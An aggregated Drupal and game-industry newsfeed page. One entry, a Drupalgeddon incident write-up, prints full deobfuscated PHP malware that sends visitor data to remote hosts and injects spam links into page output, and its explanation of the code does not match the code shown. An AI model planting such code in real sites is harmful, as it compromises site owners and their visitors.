Skip to Content

Newsfeeds

Valuebound: Boost your Drupal development with Docker

Planet Drupal - 19 April 2016 - 3:29am

Vagrant is a great virtualisation tool, which I prefer heavily for my development purposes. But sometimes it gets a bit hectic and resource consuming, to set up a new vagrant environment to work trivial things or testing out a module/API. 

Not being a great fan of local *AMP stack I was looking for some alternative to Vagrant to use. In comes Docker, which is super fast and very easy to setup. Containers (“virtual machines”) are easy to destroy and  rebuild.They do not require the overhead of virtual machines but they  still provide a high level of isolation from the host OS.

Docker hub have many Docker containers for Drupal which are ready to use . But I prefered to create my own Docker container which just works and runs Drupal…

Categories: Drupal

Media Entity Browser

New Drupal Modules - 19 April 2016 - 2:35am

This module provides an Entity Browser for Media Entity, inspired by File Entity Browser.

Categories: Drupal

OpenLucius: Update OpenLucius | April 2016

Planet Drupal - 19 April 2016 - 2:20am

The past month we have processed again a lot of feedback and improved OpenLucius, a Drupal social intranet. Below the improvements that have been made yesterday:

1. Navigation text documents better and faster

We noticed that the navigation of text documents was loading slowly - when placing a lot of text documents (100+) in a group. This is now loaded with a different technique that makes everything much quicker.

We also addressed the navigation to sub-pages (1): this is now more intuitive, faster and mobile usable. Finally, we placed a search feature above (2), so you can find/filter documents quickly.

Read more about text documents >

2. Hide comments

We received a lot of feedback that a page with many comments was becoming unnecessarily long and cluttered. We solved this by hiding comments - just like Gmail does. Hidden comments can easily be shown again.

3. Improved status updates
Categories: Drupal

The RPGnet Newsletter: RPGnet Newsletter #50

RPGNet - 19 April 2016 - 12:00am
Two weeks of content!
Categories: Game Theory & Design

Observations From A Gamer's Chair: Played to Death

RPGNet - 19 April 2016 - 12:00am
A look at character death.
Categories: Game Theory & Design

DrupalCon News: Think you’re a Drupal genius? Prove it at DrupalCon.

Planet Drupal - 18 April 2016 - 2:13pm

Do you know EVERYTHING about Drupal? Palantir.net is sponsoring a Trivia Night at DrupalCon, and this is your chance to prove you're a Drupal mastermind.

Categories: Drupal

Advomatic: How do I manage the security of my Drupal 6 site?

Planet Drupal - 18 April 2016 - 1:23pm

In our last post we talked about how the Drupal Community is supporting Drupal 6 after its end-of-life and what that means for your Drupal 6 site.  In this post we’ll get a bit more technical and talk about what exactly you need to do to keep your website up to date. Step #1: Getting... Read more »

The post How do I manage the security of my Drupal 6 site? appeared first on Advomatic.

Categories: Drupal

Get a job: CCP in Reykjavik is hiring a Game Design Director

Social/Online Games - Gamasutra - 18 April 2016 - 12:54pm

The creator of EVE Online is looking for an experienced hand with MMO development chops to join the EVE Online team as a design director at CCP's HQ in Reykjavik, Iceland. ...

Categories: Game Theory & Design

Chapter Three: Custom RESTful API in Drupal 8

Planet Drupal - 18 April 2016 - 12:25pm

This is a very simple module that demonstrates implementation of a custom RESTful API in Drupal 8. Creating your own API with Drupal 8 has become a routine task that doesn't require a lot of work. However there are a lot of things I am not covering in this blog post, such as user login and user registration etc...

You could also look into Rest module (in core) to see how to use it's plugin API to extend core rest functionality.

I use Postman to test my API endpoints (this is an app that allows you to send POST/GET/PUT/DELETE etc.. requests and see API response).

Test API module (test_api.module) contains the following files:

Categories: Drupal

Bluespark Labs: DrupalCon 2016: New Orleans

Planet Drupal - 18 April 2016 - 12:11pm

 

DrupalCon 2016 will be held in New Orleans this year from May 9th-13th. Bluespark will be attending in force with at least thirteen team members. We are looking forward to reconnecting with old friends and meeting new ones! We have a few different areas where we are contributing to the DrupalCon event, including our booth and lounge sponsorship and some talks we are giving. In addition to the more serious contributions, we have some fun up our sleeves this year!

The Booth

This year we have a booth close to one of the coffee spots, booth number 725. This year, we have a project planning booklet that we think will be both fun and helpful to fill out for people hoping to launch a project in the future, or revisit some of their initial assumptions when they built their site. We have a number of experts who will be available at our booth to discuss anything from project and business strategy and planning to usability strategy and user testing to Drupal 7 & 8 development.

The Voodoo Lounge

We are sponsoring a lounge this year, which is an area where anyone weary of the journey or excited about playing any the many games we will have available can camp out and rest their legs for a while. We have a whole contest built around a couple of the games there too, so it’s possible to win prizes while you’re having fun!

The Contest (and Prizes)

A couple of the games at The Voodoo Lounge will have contests you can enter which will make for some fun. One of the games has to do with creating funny newspaper headlines that will have everyone rolling. The other one has everyone building a creative machine. We’ll be offering a prize for the best contestant for each game on Tuesday-Thursday: a $100 Amazon gift card and a Bluespark shirt.  

Information on DrupalCon 2016: New Orleans

For more information on DrupalCon 2016, visit the official web page: https://events.drupal.org/neworleans2016.

 

Tags: Drupal PlanetDrupalCon 2016Resources:  voodoo_image_centered.gif nola_emblem_thumb.gif
Categories: Drupal

Don't miss: How long game developers actually work

Social/Online Games - Gamasutra - 18 April 2016 - 11:31am

A decade's worth of information on how long developers really work -- culled from surveys given to game developers and interviews with them, as crunched by two academics who know the subject well. ...

Categories: Game Theory & Design

Metal Toad: Anatomy of a Drupalgeddon attack

Planet Drupal - 18 April 2016 - 11:08am
Anatomy of a Drupalgeddon attack April 18th, 2016 Mike Purvis

Before working at Metal Toad, I saw an email from Acquia. A strange email.

It went something like this: 

On October 15th, we will be addressing a security concern at 9:00 am.

Hmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. 

Sure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked.

The actual patch for Drupal core is available here, and shows that it's literally a one-liner.

We (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7.

I've been reading some other blogs regarding Drupalgeddon, and those seem to affect the menu_router table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it.

Essentially, the first line of these files were modified:

  • index.php
  • includes/bootstrap.inc
  • includes/database.inc

After the opening <?php  tag, there is a lot of whitespace before the gibberish begins.

Why whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space.

However, when I ssh'ed into the server and used vi on the command line, all the code is essentially "invisible" unless you have the gumption to press "End" on the first line, or "Right arrow" a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)

Smart.

I will not post the "gibberish" code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible.

I did, however, successfully decode the execution code, which I'll share in a second.

But first, what was this gibberish code? It was base64_encoded. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea.

After you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)

<?php error_reporting(0); if (!function_exists("ZM5j2q0shf_pirogok")){ function ZM5j2q0shf_pirogok(){ return false; } if (!function_exists("Uno_decode")){ function Uno_decode($String) { $String = base64_decode($String); $Salt="dc5p9dOpBc"; $StrLen = strlen($String); $Seq = "DMEf5HZuPq"; $Gamma = ""; while (strlen($Gamma)<$StrLen) { $Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); $Gamma.=substr($Seq,0,8); } return $String^$Gamma; } } if (!function_exists("get_t_dir_mass")){ function get_t_dir_mass() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { $res[] = realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { $res[] = realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { $res[] = realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { $res[] = realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { $res[] = realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { $res[] = realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { $res[] = realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { $res[] = realpath(dirname(__FILE__)); } return array_unique($res); } }   if (!function_exists("get_ua")){ function get_ua(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".") === false){ $tmp = explode("|",$tt); foreach($tmp as $u){ $know[] = trim($u); } } } } } if(count($know) == 0){ $know[] = "msie"; $know[] = "firefox"; $know[] = "googlebot"; } return array_unique($know); } }   if (!function_exists("get_true_name")){ function get_true_name(){ return ".backup_time"; } }   if (!function_exists("strposa")){ function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) return true; } return false; } }   if (isset($_SERVER["HTTP_USER_AGENT"])){ $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $true_ua = get_ua(); if (strposa($ua,$true_ua)){ if (!function_exists("t_dir")){ function t_dir() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { return realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { return realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { return realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { return realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { return realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { return realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { return realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { return realpath(dirname(__FILE__)); } return null; } } if (!function_exists("get_know_ip")){ function get_know_ip(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".")>0){ $know[] = trim($tt); } } } } return array_unique($know); } } if (!function_exists("save_know_ip")){ function save_know_ip($ip){ $name = get_true_name(); $content = implode(PHP_EOL, $ip); foreach(get_t_dir_mass() as $t){ $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w"); fputs($f,$content); fclose($f); } } } if (!function_exists("ZM5j2q0shf_get_real_ip")){ function ZM5j2q0shf_get_real_ip() { $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR"); foreach($proxy_headers as $proxy_header) { if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $_SERVER[$proxy_header])){ return $_SERVER[$proxy_header]; } else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE) { $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header]))); if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp); if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $proxy_header_temp) ) return $proxy_header_temp;   } } return $_SERVER["REMOTE_ADDR"]; } } if (!function_exists("ZM5j2q0shf_get_url")){ function ZM5j2q0shf_get_url(){ $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; if (strpos($url,"?") !== false){ $url = substr($url,0,strpos($url,"?")); } return $url; } } if (!function_exists("ZM5j2q0shf_get_contents")){ function ZM5j2q0shf_get_contents($ip, $page){ if((function_exists("curl_init")) && (function_exists("curl_exec"))){ $ch = curl_init("http://" .$ip . "/" .$page); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $ult = trim(curl_exec($ch)); return $ult; } if (ini_get("allow_url_fopen")) { $ult = trim(@file_get_contents("http://" .$ip . "/" .$page)); return $ult; } $fp = fsockopen($ip, 80, $errno, $errstr, 30); if ($fp) { $out = "GET $page HTTP/1.0\r\n"; $out .= "Host: $ip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $ret = ""; while (!feof($fp)) { $ret .= fgets($fp, 128); } fclose($fp); $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4)); } return $ult; } } if (!function_exists("ZM5j2q0shf_samui_get_links")){ function ZM5j2q0shf_samui_get_links(){ $all = get_know_ip(); shuffle($all); $url = ZM5j2q0shf_get_url(); $real_ip = ZM5j2q0shf_get_real_ip(); $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $aid = "1001"; $cod = md5($url.time()); $check = md5($cod); $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"])); $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"])); $page = "/ml.php?mother=elite-endohawaii.com&cr=1&aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref; foreach ($all as $ip){ $tc = ZM5j2q0shf_get_contents(trim($ip),$page); $pos = strpos($tc, $check); if ($pos !== false){ $proxy_list = substr($tc,0,$pos); save_know_ip(explode("\n",$proxy_list)); $links = substr($tc,$pos+32); return $links; } } } } if (!function_exists("ZM5j2q0shf_mod_con")){ function ZM5j2q0shf_mod_con($con){ if (strpos($con,"]*)?>/i", "".ZM5j2q0shf_samui_get_links(), $con,1); return $text; } else { return $con; } } } if (!function_exists("ZM5j2q0shf_callback")){ function ZM5j2q0shf_callback($buf){ if (headers_sent()){ if (in_array("Content-Encoding: gzip", headers_list())){ $tmpfname = tempnam(t_dir(), "FOO"); $zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r"); $contents = gzread($zd, 10000000); $contents = ZM5j2q0shf_mod_con($contents); gzclose($zd); unlink($tmpfname); $contents = gzencode($contents); } else { $contents = ZM5j2q0shf_mod_con($buf); } } else { $contents = ZM5j2q0shf_mod_con($buf); } return($contents); } } ob_start("ZM5j2q0shf_callback"); } } }

There's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the unlink statement above. Don't scroll up, I bet it's in your vision right now.)

On a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code.

I had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code.

One last thing, that's interesting as well as hilariouis. 

There is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string.

So there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where one of these two strings appeared. =') and ==') Those are not crying, smiling emojis, but instead they're needles in the haystack.

Those a pretty weird character strings right? It's almost so weird that you can do a quick grep or ag command to find all instances of that weird character string. And that's what I did.

So to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out.

Note: You need to check the database as well. This blog post does not cover that.

Categories: Drupal

php[architect]: Mandrill Alternatives for PHP Applications

Planet Drupal - 18 April 2016 - 10:58am

What would a website be if it couldn’t send emails, even if just for password resets? Running your own mail server is a huge hassle, so many developers instead use a third party service to send transactional emails like password resets, new user welcome messages, and order summaries. One of the most popular services, in part because of their generous free tier, is Mandrill, owned by MailChimp.

In case you might have missed the announcement, MailChimp is changing Mandrill to be an add-on to paid MailChimp accounts, thus eliminating the generous free tier. We’re big fans of MailChimp and use its mailing list service for our own announcements, (hey, why not join that list if you’re not already on subscribed?) but a full MailChimp account isn’t going to be for everybody. They’ve already shut out the ability for new subscriptions, but if you’re a PHP developer who does things like put off your taxes until the last minute (American customers have three extra days this year, but that’s today), you’re probably sweating the April 27th deadline.

Many people also know Mandrill by reputation and will need options in the future. For you, we’ve put together this list of viable transactional email alternatives with PHP and major PHP application support. Joomla! and MODX support SMTP integration natively, so you’ll just need the SMTP configuration options from your chosen provider. If you want to use a provider’s web API, see the PHP options below.

Cal Evans did an unscientific Twitter survey to see what options people were migrating to:

If you are moving off of @mandrillapp, what are you moving to?

— Cal Evans (@CalEvans) March 29, 2016

SparkPost

MailChimp’s announcement notes that SparkPost has agreed to take on existing Mandrill users and honor Mandrill’s pricing for them. Fortunately, SparkPost has PHP users covered: there is an official PHP API library. There is also a Drupal module, but unfortunately it seems to be 7.x only at this writing and is only a sandbox project—you’ll have to install it via git. Drupal 8 users should be able to use the official API library with Composer. WordPress developers are in more luck: there is an official WordPress plugin. SparkPost provides a guide for Magento devs using the SMTP Pro extension. SparkPost also has one of the most generous plans we’ve seend, with 100,000 free emails per month, though you can not exceed that limit without upgrading ahead of time.

SendGrid

A long time option for PHP users has been SendGrid. (Full disclosure: SendGrid has sponsored our php[tek] conference in the past, but is not a current sponsor.) They have an official PHP API, installable via Composer. While there is a 7.x-only Drupal module, SendGrid recommends Drupal users use the SMTP Authentication Support or Swift Mailer modules in its documentation. Both the officially-recommended modules support Drupal 8 at least in the development releases of each module. Magento is also supported through the SMTP Pro extension. WordPress devs can install the official plugin. SendGrid doesn’t list a free tier on their pricing page, their “Essentials” plan start at $9.95 for 40,000 emails per month.

SendinBlue

Many devs I know have spoken highly of SendinBlue. They offer a WordPress plugin, (7.x only) Drupal module, and Magento extension. They also have an official PHP library. Their free tier is limited to 9,000 emails per month with no daily limits, however the messages will include SendinBlue branding.

Amazon SES

Amazon’s transactional email service is affordable but not as easy to install and configure for newbies. They have an official PHP library through the AWS PHP SDK. There is a third-party Drupal module for 7.x users. Similarly there’s an independent WordPress plugin. There is a USD 99 paid extension for Magento.

Mailjet

Mailjet offers a PHP API wrapper, a WordPress plugin, a 7.x-only Drupal plugin, a Joomla! extension, and a Magento plugin. The free tier is capped at 6,000 emails per month and 200 email per day. The first 30 days include a premium trial which allows users to explore segmentation, testing, and compare campaign performance.

Mailgun

Mailgun has a PHP SDK installable via Composer. There is also a WordPress plugin, a 7.x-only Drupal module,  and a Magento extension. The first 10,000 emails each month are free, after which you pay a tiered price based on monthly volume.

Postmark

Postmark offers a PHP API library, installable via Composer and available on Packagist. There is also an official WordPress plugin. There is a community-supported Drupal module (you guessed it, 7.x only) and Magento extension. There are also many other community modules for PHP frameworks. If you sign up to try it, the first 25,000 emails are free. After that, you can buy credits to send emails starting at $1.50 per thousand emails.

Conclusion

Which of these services you use depends on your needs, price sensitivity, and how much specific support you want for your platform. If I’ve missed any services with good PHP support, please let us know in the comments!

Image Credit: RaHuL Rodriguez on Flickr

Categories: Drupal

Smartphone users are redefining privacy in public spaces

Virtual Reality - Science Daily - 18 April 2016 - 10:06am
A combination of public smartphone use and technological surveillance has led to diminished personal privacy, a new study argues. The study argues that "dynamic visibility," in which technological surveillance is combined with personal information volunteered by individuals online, has led to diminished overall privacy.
Categories: Virtual Reality

Seeing The Spreadsheet - by Zach Wilson

Gamasutra.com Blogs - 18 April 2016 - 8:41am
A look at why we get tired of games, and why sometimes we don’t.
Categories: Game Theory & Design

Now we’re talking business - by Adrian Goersch

Gamasutra.com Blogs - 18 April 2016 - 8:40am
Overview on Rogue Stormers' development costs and insight into the salesforecast
Categories: Game Theory & Design

Music and Game Design at IGDA Switzerland Demo Night - by Chris Solarski

Gamasutra.com Blogs - 18 April 2016 - 8:39am
The newly resurrected IGDA Switzerland Chapter hosted its first Demo Night in Zurich on Monday 4th April around the theme of “music and game design,” and included talks by four Swiss-based developers, Masaya Matsuura, and Fernando Ramallo.
Categories: Game Theory & Design

Approaching the mobile games market as a small team in 2016 - by Andreas Papathanasis

Gamasutra.com Blogs - 18 April 2016 - 8:38am
As I'm preparing to start a small company, I present the guidelines I will use to navigate and survive in the current mobile market.
Categories: Game Theory & Design

Customer Experience - Voice of the Player - by Sethlans Vayu

Gamasutra.com Blogs - 18 April 2016 - 8:32am
In the mobile gaming industry, the necessity for fast and efficient help for your customers becomes an ever escalating task. This article looks into addressing areas that can assist in reaching your Customer Experience benchmarks.
Categories: Game Theory & Design

DrupalCon News: Come Sprint at DrupalCon

Planet Drupal - 18 April 2016 - 7:24am

At DrupalCon there’s plenty of opportunity to give back, learn, and make a difference when you attend sprints. Whether this is your first Drupal event or you've been to several camps and Cons and are ready to try something new, we look forward to seeing you at the sprints

Categories: Drupal
Syndicate content


Google+
about seo